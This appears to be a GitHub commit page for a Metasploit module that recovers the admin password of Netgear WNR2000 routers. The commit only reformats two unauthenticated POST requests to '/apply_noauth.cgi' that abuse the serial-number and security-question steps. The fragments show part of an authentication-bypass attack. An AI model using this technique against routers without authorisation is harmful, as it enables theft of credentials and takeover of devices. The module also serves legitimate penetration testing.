Skip to content

Commit 68f1380

Browse files
committed
Fix msftidy warnings for the WNR2000 module
1 parent 69755f6 commit 68f1380

File tree

1 file changed

+4
-2
lines changed

1 file changed

+4
-2
lines changed

modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -98,7 +98,8 @@ def get_creds
9898

9999
# 1: send serial number
100100
send_request_cgi({
101-
'uri' => '/apply_noauth.cgi?/unauth.cgi',
101+
'uri' => '/apply_noauth.cgi',
102+
'query' => '/unauth.cgi',
102103
'method' => 'POST',
103104
'Content-Type' => 'application/x-www-form-urlencoded',
104105
'vars_post' =>
@@ -111,7 +112,8 @@ def get_creds
111112

112113
# 2: send answer to secret questions
113114
send_request_cgi({
114-
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
115+
'uri' => '/apply_noauth.cgi',
116+
'query' => '/securityquestions.cgi',
115117
'method' => 'POST',
116118
'Content-Type' => 'application/x-www-form-urlencoded',
117119
'vars_post' =>

0 commit comments

Comments
 (0)